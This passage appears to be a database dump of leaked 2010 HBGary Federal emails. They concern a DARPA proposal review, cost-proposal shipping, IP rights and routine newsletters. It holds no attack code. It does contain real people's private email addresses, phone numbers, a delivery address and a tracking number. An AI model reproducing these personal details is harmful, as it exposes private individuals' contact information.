<adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297002638.M23648P3547Q4525.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Latest Draft','Aaron,\r\n\r\nThe tracking number for our sealed cost proposal is EE905367578US.  It\r\nshould be there before noon tomorrow.\r\n\r\nThanks and let me know if you need anything this week.\r\n\r\n-- Adam\r\n\r\nOn 3/24/10 4:14 PM, Aaron Barr wrote:\r\n> All,\r\n> \r\n> Sorry to keep filling up your in boxes but some of you have asked for the most recent version I am integrating...here it is.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n',3081,'aaron_hbgary_com/3081.html'),(4527,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002638.M512125P3547Q4527.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Phil Porras\" <porras@csl.sri.com>','Added Comment','As you can when looking at the pricing if you can try to push funds into year 2 as possible, thinking that price in the first year will be more critical than outer years.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9063,'aaron_hbgary_com/9063.html'),(4528,'2010-03-25','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002640.M546649P3547Q4528.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Secure Decisions sanitized cost','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed, Aaron &#8211;\r\n\r\n&nbsp;\r\n\r\nSorry for the delay. I was hoping to send this with the full\r\npackage, which will go out shortly. But I should have given you an advance copy\r\nearlier today.\r\n\r\n&nbsp;\r\n\r\nHere is the costing.\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\nCentral office (631) 754-4920 \r\n\r\nNew direct line (631)\r\n759-3909\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6676,'aaron_hbgary_com/6676.html'),(4529,'2010-03-25','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297002643.M113287P3547Q4529.eml','aaron@hbgary.com','April 23 Monthly Luncheon with USAF Asst Secretary for Acquisition, David Van Buren - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Apr \r\n        23 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        Mr. David M. Van Buren\r\n         \r\n        Acting Assistant Secretary for Acquisition\r\n        U.S. Air Force\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              April 23, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST \r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n              LGS Innovations\r\n            \r\n               \r\n            \r\n          MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n              \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Naval \r\n                    IT Day,\r\n                    9th Annual\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    Monthly Lunch w/ David Van Buren, USAF Asst Sec for Acq\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  May \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    May 14 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',6685,'aaron_hbgary_com/6685.html'),(4530,'2010-03-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002643.M435677P3547Q4530.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: FedEx address','Chris,\r\n\r\nLast pick-up is 6pm my time, and I will not be able to make it. We\'re\r\ngoing to have to go with plan B. Can you coordinate with Aaron so he\r\ncan hand carry it to your point of contact on Monday morning?\r\n\r\nTed\r\n\r\n\r\nOn Mar 25, 2010, at 3:23 PM, \"Starr, Christopher H.\"  wrote:\r\n\r\n> Ted,\r\n> The address to FedEx the unsanitized cost volume for Tech Area #1 so\r\n> it\r\n> arrives on Friday (can you send us the tracking number?  Thanks!) is\r\n> below.\r\n>\r\n>\r\n> FEDEX to:\r\n>\r\n> Ryan Vela\r\n> General Dynamics\r\n> 2721 Technology Drive, Suite 300\r\n> Annapolis Junction, MD  20701\r\n> 571-216-6140\r\n>\r\n>\r\n>\r\n> Chris\r\n> 571-216-6140\r\n',15115,'aaron_hbgary_com/15115.html'),(4531,'2010-03-25','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002643.M982239P3547Q4531.eml','ted@hbgary.com,aaron@hbgary.com,ted@hbgary.com,aaron@hbgary.com,','FW from HBGary RE: FedEx address','\r\n\r\n\r\n\r\n\r\nFW from HBGary RE: FedEx address\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nWill do.\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Starr, Christopher H.; Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSent: Thu Mar 25 18:49:16 2010\r\nSubject: Re: FedEx address\r\n\r\nChris,\r\n\r\nLast pick-up is 6pm my time, and I will not be able to make it. We\'re\r\ngoing to have to go with plan B. Can you coordinate with Aaron so he\r\ncan hand carry it to your point of contact on Monday morning?\r\n\r\nTed\r\n\r\n\r\nOn Mar 25, 2010, at 3:23 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Ted,\r\n&gt; The address to FedEx the unsanitized cost volume for Tech Area #1 so\r\n&gt; it\r\n&gt; arrives on Friday (can you send us the tracking number?&nbsp; Thanks!) is\r\n&gt; below.\r\n&gt;\r\n&gt;\r\n&gt; FEDEX to:\r\n&gt;\r\n&gt; Ryan Vela\r\n&gt; General Dynamics\r\n&gt; 2721 Technology Drive, Suite 300\r\n&gt; Annapolis Junction, MD&nbsp; 20701\r\n&gt; 571-216-6140\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Chris\r\n&gt; 571-216-6140\r\n\r\n\r\n\r\n\r\n',2524,'aaron_hbgary_com/2524.html'),(4532,'2010-03-25','\"Mary Sullivan\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297002644.M179469P3547Q4532.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Mary Sullivan has indicated you are a person they\'ve done business with at Fidelis Security Systems:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Mary Sullivan\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Mary Sullivan\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n    WHY MIGHT CONNECTING WITH MARY SULLIVAN BE A GOOD IDEA?\r\n    People Mary Sullivan knows can discover your profile Connecting to Mary Sullivan will attract the attention of LinkedIn users. See who\'s been viewing your profile.\r\n    &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',2501,'aaron_hbgary_com/2501.html'),(4533,'2010-03-25','\"Frank Zinghini\" <FrankZ@avi.com>','/aaron@hbgary.com/new/1297002657.M938637P3547Q4533.eml','aaron@hbgary.com','Secure Decisions - Submission of CG proposal and cost proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe attached ZIP file contains our technical proposal (Word\r\nand PDF), and framework of our cost proposal. The specifics of the cost\r\nproposal are contained in a separate Excel file.\r\n\r\n&nbsp;\r\n\r\nPlease feel free to contact me at any time at the number\r\nbelow if you have any problems with or questions about the attached material.\r\n\r\n&nbsp;\r\n\r\nPlease acknowledge receipt of this material, as I&#8217;m\r\nconcerned that the size of the attachment may cause problems.\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n..Frank\r\n\r\n---\r\n\r\nFrank J. Zinghini, Jr.\r\n\r\nPresident\r\n\r\nApplied Visions, Inc.\r\n\r\n631-759-3901\r\n\r\nSecure Decisions is a division of Applied Visions, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5232,'aaron_hbgary_com/5232.html'),(4534,'2010-03-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002658.M720520P3547Q4534.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36',' \r\nTeam,\r\n \r\nI looked over the proposal.  First, I want to make sure Penny has gone through the IP issues with a comb.  She has assured me that she is on that.  Terms like &#39;waiving rights&#39; and &#39;granting unrestricted rights&#39; are peppered all over the place.  Those are not happy words.  \r\n\r\n \r\nPage 12: not sure what non-severable means.  We didn&#39;t write Responder using SBIR money.  Only the windows XP wpma stuff from waaaay back on the AFR contract was funded.\r\nPage 14: you might want to position &#39;traditional runtime analysis&#39; as &#39;tradition interactive debugging&#39;\r\n- interactive debugging is why runtime analysis is so painful today - the focus on stopping, waiting for analyst input, then continuing execution - real real painful\r\nPage 14: you mention &#39;hooking&#39; a running binary.  just to be clear we don&#39;t hook anything with REcon, if you were planning on using REcon.  Hooking is old school and low tech, we don&#39;t use hooks.\r\n\r\nPage 15: 500GB of malware?  Where did you get that figure?  The malware at HBGary proper is not something we can give to DARPA, we are legally prevented from doing so\r\nPage 31: you have multiple blocks of duplicate text in this section, like you are in the middle of a cut-and-paste hell\r\nPage 31: remove the use of &quot;I&quot; first person - its clear this was cut and paste from an email\r\nPage 32: remove reference to number of FTE&#39;s required\r\nPage 32: applications for prediction, again duplicate text here\r\nPage 33: another duplicate text issue - remove rhetorical question\r\nPage 35: remove reference to &quot;our problems with AFR&quot; - AFR wasn&#39;t mentioned before this point unless I missed it\r\nPage 35: there is some incorrect information about AFR here, if even that matters - its clear you got this info from Martin as he is talking about some of the AFR stuff incorrectly.  He mentions direct CPU flag changes, that was never part of AFR, that was something called &#39;Live Drive&#39; that was a separate effort.\r\n\r\nPage 39: building is spelled wrong in 4th line\r\nPage 41: the number of malware we get varies day to day - 5,000 - 15,000 is a better way to put that\r\n \r\nIf I can offer one idea --&gt; You guys need a block process diagram showing how stuff goes in the hopper on one side, and what pops out of the intestine at the other side, and the various data taps that occur along the way, and also some decision making and feedback points.  You need a diagram because someone would go crosseyed trying to read that document.  I barely understood it and I know this stuff.\r\n\r\n \r\n-Greg\r\n \r\n \r\n',13751,'aaron_hbgary_com/13751.html'),(4535,'2010-03-25','\"David Nagel\" <dnagel@us.ibm.com>','/aaron@hbgary.com/new/1297002658.M932943P3547Q4535.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            David Nagel has indicated you are a Colleague at IBM/Internet Security Systems:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- David Nagel\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from David Nagel\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',16683,'aaron_hbgary_com/16683.html'),(4536,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002659.M104438P3547Q4536.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36','Thanks Greg.  I will parse through your comments tonight.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 25, 2010, at 7:20 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Team,\r\n>\r\n> I looked over the proposal.  First, I want to make sure Penny has\r\n> gone through the IP issues with a comb.  She has assured me that she\r\n> is on that.  Terms like \'waiving rights\' and \'granting unrestricted\r\n> rights\' are peppered all over the place.  Those are not happy words.\r\n>\r\n> Page 12: not sure what non-severable means.  We didn\'t write\r\n> Responder using SBIR money.  Only the windows XP wpma stuff from\r\n> waaaay back on the AFR contract was funded.\r\n> Page 14: you might want to position \'traditional runtime analysis\'\r\n> as \'tradition interactive debugging\'\r\n> - interactive debugging is why runtime analysis is so painful today\r\n> - the focus on stopping, waiting for analyst input, then continuing\r\n> execution - real real painful\r\n> Page 14: you mention \'hooking\' a running binary.  just to be clear\r\n> we don\'t hook anything with REcon, if you were planning on using\r\n> REcon.  Hooking is old school and low tech, we don\'t use hooks.\r\n> Page 15: 500GB of malware?  Where did you get that figure?  The\r\n> malware at HBGary proper is not something we can give to DARPA, we\r\n> are legally prevented from doing so\r\n> Page 31: you have multiple blocks of duplicate text in this section,\r\n> like you are in the middle of a cut-and-paste hell\r\n> Page 31: remove the use of \"I\" first person - its clear this was cut\r\n> and paste from an email\r\n> Page 32: remove reference to number of FTE\'s required\r\n> Page 32: applications for prediction, again duplicate text here\r\n> Page 33: another duplicate text issue - remove rhetorical question\r\n> Page 35: remove reference to \"our problems with AFR\" - AFR wasn\'t\r\n> mentioned before this point unless I missed it\r\n> Page 35: there is some incorrect information about AFR here, if even\r\n> that matters - its clear you got this info from Martin as he is\r\n> talking about some of the AFR stuff incorrectly.  He mentions direct\r\n> CPU flag changes, that was never part of AFR, that was something\r\n> called \'Live Drive\' that was a separate effort.\r\n> Page 39: building is spelled wrong in 4th line\r\n> Page 41: the number of malware we get varies day to day - 5,000 -\r\n> 15,000 is a better way to put that\r\n>\r\n> If I can offer one idea --> You guys need a block process diagram\r\n> showing how stuff goes in the hopper on one side, and what pops out\r\n> of the intestine at the other side, and the various data taps that\r\n> occur along the way, and also some decision making and feedback\r\n> points.  You need a diagram because someone would go crosseyed\r\n> trying to read that document.  I barely understood it and I know\r\n> this stuff.\r\n>\r\n> -Greg\r\n>\r\n>\r\n',15131,'aaron_hbgary_com/15131.html'),(4537,'2010-03-25','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297002664.M779808P3547Q4537.eml','\"Aaron Barr\" <aaron@hbgary.com>,vinod@csl.sri.com,\"Ted Vera\" <ted@hbgary.com>','Re: Latest version','At 10:06 AM 3/24/2010, Aaron Barr wrote:\r\n\r\n > All, Again please look at tables for data to fill out for your \r\narea of responsibility.\r\n > Innovations Table Deliverables Table Key Personnel Table (Ken I \r\nneed you to fit\r\n > your into the format in the document).\r\n\r\nThese are mods to tables 1 (innovative claims), 2 (deliverables) , and the\r\nkey personnel table\r\n',14453,'aaron_hbgary_com/14453.html'),(4538,'2010-03-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002665.M199332P3547Q4539.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36','Greg,\r\n\r\nThanks for the comments.  Regarding the ~500GB of malware... I\r\nunderstand that we cannot give the malware to DARPA, but we can use it\r\nduring the course of our research for DARPA, correct?\r\n\r\n\r\n\r\n\r\nOn 3/25/10 5:20 PM, Greg Hoglund wrote:\r\n> Team,\r\n> \r\n> I looked over the proposal.  First, I want to make sure Penny has gone\r\n> through the IP issues with a comb.  She has assured me that she is on that.\r\n> Terms like \'waiving rights\' and \'granting unrestricted rights\' are peppered\r\n> all over the place.  Those are not happy words.\r\n> \r\n> Page 12: not sure what non-severable means.  We didn\'t write Responder using\r\n> SBIR money.  Only the windows XP wpma stuff from waaaay back on the AFR\r\n> contract was funded.\r\n> Page 14: you might want to position \'traditional runtime analysis\' as\r\n> \'tradition interactive debugging\'\r\n> - interactive debugging is why runtime analysis is so painful today - the\r\n> focus on stopping, waiting for analyst input, then continuing execution -\r\n> real real painful\r\n> Page 14: you mention \'hooking\' a running binary.  just to be clear we don\'t\r\n> hook anything with REcon, if you were planning on using REcon.  Hooking is\r\n> old school and low tech, we don\'t use hooks.\r\n> Page 15: 500GB of malware?  Where did you get that figure?  The malware at\r\n> HBGary proper is not something we can give to DARPA, we are legally\r\n> prevented from doing so\r\n> Page 31: you have multiple blocks of duplicate text in this section, like\r\n> you are in the middle of a cut-and-paste hell\r\n> Page 31: remove the use of \"I\" first person - its clear this was cut and\r\n> paste from an email\r\n> Page 32: remove reference to number of FTE\'s required\r\n> Page 32: applications for prediction, again duplicate text here\r\n> Page 33: another duplicate text issue - remove rhetorical question\r\n> Page 35: remove reference to \"our problems with AFR\" - AFR wasn\'t mentioned\r\n> before this point unless I missed it\r\n> Page 35: there is some incorrect information about AFR here, if even that\r\n> matters - its clear you got this info from Martin as he is talking about\r\n> some of the AFR stuff incorrectly.  He mentions direct CPU flag changes,\r\n> that was never part of AFR, that was something called \'Live Drive\' that was\r\n> a separate effort.\r\n> Page 39: building is spelled wrong in 4th line\r\n> Page 41: the number of malware we get varies day to day - 5,000 - 15,000 is\r\n> a better way to put that\r\n> \r\n> If I can offer one idea --> You guys need a block process diagram showing\r\n> how stuff goes in the hopper on one side, and what pops out of the intestine\r\n> at the other side, and the various data taps that occur along the way, and\r\n> also some decision making and feedback points.  You need a diagram because\r\n> someone would go crosseyed trying to read that document.  I barely\r\n> understood it and I know this stuff.\r\n> \r\n> -Greg\r\n> \r\n\r\n',7252,'aaron_hbgary_com/7252.html'),(4539,'2010-03-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002665.M24296P3547Q4538.eml','\"Ted Vera\" <ted@hbgary.com>','Linked in request from David nigel','Is this the Nigel we know?\r\n\r\n From my iPhone\r\n',8312,'aaron_hbgary_com/8312.html'),(4540,'2010-03-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002665.M524920P3547Q4540.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','RE: Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nThanks for your feedback.&nbsp; Regarding IP we are saying to\r\nthe gov&#8217;t that what HBGary brings to the table as a starting point is HBGary&#8217;s\r\nand the gov&#8217;t can only get it if they license it from us.&nbsp; That is\r\nwhat we mean when we say &#8220;Restricted Rights&#8221;.&nbsp; The NEW work is\r\nbeing offered with unlimited rights.&nbsp; HBGary still owns the IP, but the\r\ngov&#8217;t would be allowed to do what they want with what we deliver.&nbsp;\r\nAnd in no case will we deliver any of our products.&nbsp; Now, we may use\r\nHBGary products to DEMO new work, but we won&#8217;t ever deliver the products.&nbsp;\r\nIf some reason we decide the gov&#8217;t should get our products it would be on\r\na licensing basis just like any other customer.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m viewing that Responder was built with a combination of\r\nSBIR and private funds.&nbsp; Since we can&#8217;t pinpoint which code was\r\nbuilt with SBIR and which was private, Metzger (attorney) said to say the code\r\nis non-severable and asserted restricted rights which absolute protects HBGary&#8217;s\r\nIP.&nbsp; Ultimately it doesn&#8217;t matter because we won&#8217;t be\r\ndelivering Responder or DDNA to the gov&#8217;t.\r\n\r\n&nbsp;\r\n\r\nSome of the sections you reviewed are still in the process of\r\nbeing written and re-written.&nbsp; In fact, my job tonight (after a full day\r\njob as a s/w sales guy) is to rewrite the section on SMART.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Thursday, March 25, 2010 7:21 PM\r\nTo: Aaron Barr; Ted Vera; Penny C. Hoglund; Bob Slapnik\r\nSubject: Comments on TECHNICAL MGMT PROPOSAL DARPA-BAA-10-36\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI looked over the proposal.&nbsp; First, I want to make sure\r\nPenny has gone through the IP issues with a comb.&nbsp; She has assured me that\r\nshe is on that.&nbsp; Terms like \'waiving rights\' and&nbsp;\'granting\r\nunrestricted rights\' are peppered all over the place.&nbsp; Those are not happy\r\nwords.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPage 12: not sure what non-severable means.&nbsp; We didn\'t\r\nwrite Responder using SBIR money.&nbsp; Only the windows XP wpma stuff from\r\nwaaaay back on the AFR contract was funded.\r\n\r\n\r\n\r\n\r\n\r\nPage 14: you might want to position \'traditional runtime\r\nanalysis\'&nbsp;as \'tradition interactive debugging\'\r\n\r\n\r\n\r\n\r\n\r\n- interactive debugging is why runtime analysis is so\r\npainful today - the focus on stopping, waiting for analyst input, then\r\ncontinuing execution - real real painful\r\n\r\n\r\n\r\n\r\n\r\nPage 14: you mention \'hooking\' a running binary.&nbsp; just\r\nto be clear we don\'t hook anything with REcon, if you were planning on using\r\nREcon.&nbsp; Hooking is old school and low tech, we don\'t use hooks.\r\n\r\n\r\n\r\n\r\n\r\nPage 15: 500GB of malware?&nbsp; Where did you get that\r\nfigure?&nbsp; The malware at HBGary proper is not something we can give to\r\nDARPA, we are legally prevented from doing so\r\n\r\n\r\n\r\n\r\n\r\nPage 31: you have multiple blocks of duplicate text in this\r\nsection, like you are in the middle of a cut-and-paste hell\r\n\r\n\r\n\r\n\r\n\r\nPage 31: remove the use of &quot;I&quot; first person - its\r\nclear this was cut and paste from an email\r\n\r\n\r\n\r\n\r\n\r\nPage 32: remove reference to number of FTE\'s required\r\n\r\n\r\n\r\n\r\n\r\nPage 32: applications for prediction, again duplicate text\r\nhere\r\n\r\n\r\n\r\n\r\n\r\nPage 33: another duplicate text issue - remove 